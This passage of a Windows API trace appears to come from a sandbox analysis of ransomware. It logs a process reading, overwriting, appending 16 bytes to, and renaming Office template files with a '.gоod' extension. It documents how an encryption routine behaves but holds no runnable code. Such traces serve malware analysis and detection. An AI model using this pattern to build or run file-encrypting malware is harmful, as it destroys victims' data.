Office\\root\\Templates\\1033\\AdjacencyReport.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyreport.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyReport.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyreport.dotx.gоod")) returned 1 [0198.521] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx", lpFilePart=0x0) returned 0x4a [0198.521] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0198.521] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyresume.dotx"), fInfoLevelId=0x0, lpFileInformation=0x382ff88 | out: lpFileInformation=0x382ff88*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6a2342, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb6c858b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3a4e5)) returned 1 [0198.689] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0198.689] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx", lpFilePart=0x0) returned 0x4a [0198.689] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0198.724] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x848 [0198.725] GetFileType (hFile=0x848) returned 0x1 [0198.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0198.725] GetFileType (hFile=0x848) returned 0x1 [0198.725] SetFilePointer (in: hFile=0x848, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0198.725] ReadFile (in: hFile=0x848, lpBuffer=0x3756778, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x3756778*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0198.726] CloseHandle (hObject=0x848) returned 1 [0198.726] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx", lpFilePart=0x0) returned 0x4a [0198.726] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0198.726] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x848 [0198.726] GetFileType (hFile=0x848) returned 0x1 [0198.726] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0198.727] GetFileType (hFile=0x848) returned 0x1 [0198.727] SetFilePointer (in: hFile=0x848, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x3a4e5 [0198.727] WriteFile (in: hFile=0x848, lpBuffer=0x3757a28*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x3757a28*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0198.727] CloseHandle (hObject=0x848) returned 1 [0198.728] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx", lpFilePart=0x0) returned 0x4a [0198.728] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0198.728] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x848 [0198.728] GetFileType (hFile=0x848) returned 0x1 [0198.728] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0198.728] GetFileType (hFile=0x848) returned 0x1 [0198.728] ReadFile (in: hFile=0x848, lpBuffer=0x3759d00, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x3759d00*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0198.760] CloseHandle (hObject=0x848) returned 1 [0198.762] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx", lpFilePart=0x0) returned 0x4a [0198.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0198.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyresume.dotx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x848 [0198.763] GetFileType (hFile=0x848) returned 0x1 [0198.763] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0198.763] GetFileType (hFile=0x848) returned 0x1 [0198.763] WriteFile (in: hFile=0x848, lpBuffer=0x3758a40*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x3758a40*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0198.764] CloseHandle (hObject=0x848) returned 1 [0198.764] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx", lpFilePart=0x0) returned 0x4a [0198.764] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx.gоod", lpFilePart=0x0) returned 0x4f [0198.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0198.764] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyresume.dotx"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb6a2342, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb6a2342, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x72af512f, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x3a4f5)) returned 1 [0198.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0198.765] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyresume.dotx"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\AdjacencyResume.dotx.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adjacencyresume.dotx.gоod")) returned 1 [0198.766] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT", lpFilePart=0x0) returned 0x3e [0198.766] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0199.759] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr1.xlt"), fInfoLevelId=0x0, lpFileInformation=0x368b2d0 | out: lpFileInformation=0x368b2d0*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7800)) returned 1 [0199.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0199.760] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT", lpFilePart=0x0) returned 0x3e [0199.760] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0199.760] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr1.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0199.760] GetFileType (hFile=0x644) returned 0x1 [0199.760] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0199.760] GetFileType (hFile=0x644) returned 0x1 [0199.760] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0199.761] ReadFile (in: hFile=0x644, lpBuffer=0x39ef970, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x39ef970*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0199.762] CloseHandle (hObject=0x644) returned 1 [0199.762] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT", lpFilePart=0x0) returned 0x3e [0199.762] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0199.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr1.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0199.762] GetFileType (hFile=0x644) returned 0x1 [0199.762] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0199.763] GetFileType (hFile=0x644) returned 0x1 [0199.763] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x7800 [0199.763] WriteFile (in: hFile=0x644, lpBuffer=0x39f10d8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x39f10d8*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0199.764] CloseHandle (hObject=0x644) returned 1 [0199.764] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT", lpFilePart=0x0) returned 0x3e [0199.764] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0199.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr1.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0199.764] GetFileType (hFile=0x644) returned 0x1 [0199.764] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0199.764] GetFileType (hFile=0x644) returned 0x1 [0199.764] ReadFile (in: hFile=0x644, lpBuffer=0x39f36b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x39f36b8*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0200.858] CloseHandle (hObject=0x644) returned 1 [0200.858] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT", lpFilePart=0x0) returned 0x3e [0200.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0200.858] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr1.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0200.858] GetFileType (hFile=0x644) returned 0x1 [0200.858] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0200.858] GetFileType (hFile=0x644) returned 0x1 [0200.859] WriteFile (in: hFile=0x644, lpBuffer=0x3705218*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x3705218*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0200.859] CloseHandle (hObject=0x644) returned 1 [0200.859] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT", lpFilePart=0x0) returned 0x3e [0200.859] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT.gоod", lpFilePart=0x0) returned 0x43 [0200.859] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0200.859] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr1.xlt"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b93a5c4, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b93a5c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x73f00adb, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x7810)) returned 1 [0200.859] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0200.859] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr1.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR1.XLT.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr1.xlt.gоod")) returned 1 [0200.860] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT", lpFilePart=0x0) returned 0x3f [0200.860] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0200.860] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr10.xlt"), fInfoLevelId=0x0, lpFileInformation=0x3898080 | out: lpFileInformation=0x3898080*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x6e00)) returned 1 [0200.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0200.861] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT", lpFilePart=0x0) returned 0x3f [0200.861] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0200.861] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr10.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0200.861] GetFileType (hFile=0x644) returned 0x1 [0200.861] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0200.861] GetFileType (hFile=0x644) returned 0x1 [0200.861] SetFilePointer (in: hFile=0x644, lDistanceToMove=4096, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x1000 [0200.861] ReadFile (in: hFile=0x644, lpBuffer=0x3898468, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec8b8, lpOverlapped=0x0 | out: lpBuffer=0x3898468*, lpNumberOfBytesRead=0x200ec8b8*=0x1000, lpOverlapped=0x0) returned 1 [0201.093] CloseHandle (hObject=0x644) returned 1 [0201.093] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT", lpFilePart=0x0) returned 0x3f [0201.093] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0201.093] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr10.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0201.093] GetFileType (hFile=0x644) returned 0x1 [0201.093] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0201.093] GetFileType (hFile=0x644) returned 0x1 [0201.093] SetFilePointer (in: hFile=0x644, lDistanceToMove=0, lpDistanceToMoveHigh=0x200ec8e8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x200ec8e8*=0) returned 0x6e00 [0201.093] WriteFile (in: hFile=0x644, lpBuffer=0x375d250*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x200ec7d8, lpOverlapped=0x0 | out: lpBuffer=0x375d250*, lpNumberOfBytesWritten=0x200ec7d8*=0x10, lpOverlapped=0x0) returned 1 [0201.094] CloseHandle (hObject=0x644) returned 1 [0201.094] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT", lpFilePart=0x0) returned 0x3f [0201.094] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0201.094] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr10.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0201.095] GetFileType (hFile=0x644) returned 0x1 [0201.095] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0201.095] GetFileType (hFile=0x644) returned 0x1 [0201.095] ReadFile (in: hFile=0x644, lpBuffer=0x375f4f8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x200ec868, lpOverlapped=0x0 | out: lpBuffer=0x375f4f8*, lpNumberOfBytesRead=0x200ec868*=0x1000, lpOverlapped=0x0) returned 1 [0201.379] CloseHandle (hObject=0x644) returned 1 [0201.379] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT", lpFilePart=0x0) returned 0x3f [0201.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0201.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr10.xlt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x644 [0201.379] GetFileType (hFile=0x644) returned 0x1 [0201.379] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec700) returned 1 [0201.379] GetFileType (hFile=0x644) returned 0x1 [0201.379] WriteFile (in: hFile=0x644, lpBuffer=0x375c0e0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x200ec918, lpOverlapped=0x0 | out: lpBuffer=0x375c0e0*, lpNumberOfBytesWritten=0x200ec918*=0x1010, lpOverlapped=0x0) returned 1 [0201.379] CloseHandle (hObject=0x644) returned 1 [0201.379] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT", lpFilePart=0x0) returned 0x3f [0201.379] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT.gоod", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT.gоod", lpFilePart=0x0) returned 0x44 [0201.379] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec850) returned 1 [0201.379] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr10.xlt"), fInfoLevelId=0x0, lpFileInformation=0x200ec930 | out: lpFileInformation=0x200ec930*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x743eb849, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x6e10)) returned 1 [0201.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec810) returned 1 [0201.380] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr10.xlt"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR10.XLT.gоod" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr10.xlt.gоod")) returned 1 [0201.380] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT", nBufferLength=0x105, lpBuffer=0x200ec3c0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT", lpFilePart=0x0) returned 0x3e [0201.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec890) returned 1 [0201.380] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT" (normalized: "c:\\program files\\microsoft office\\root\\templates\\1033\\adr2.xlt"), fInfoLevelId=0x0, lpFileInformation=0x38aae88 | out: lpFileInformation=0x38aae88*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x3b9607ff, ftCreationTime.dwHighDateTime=0x1d47c34, ftLastAccessTime.dwLowDateTime=0x3b9607ff, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b9607ff, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x7200)) returned 1 [0201.381] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x200ec850) returned 1 [0201.381] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT", nBufferLength=0x105, lpBuffer=0x200ec270, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Microsoft Office\\root\\Templates\\1033\\ADR2.XLT", lpFilePart=0x0) returned 0x3e [0201.381] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x200ec790) returned 1 [0201.381] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 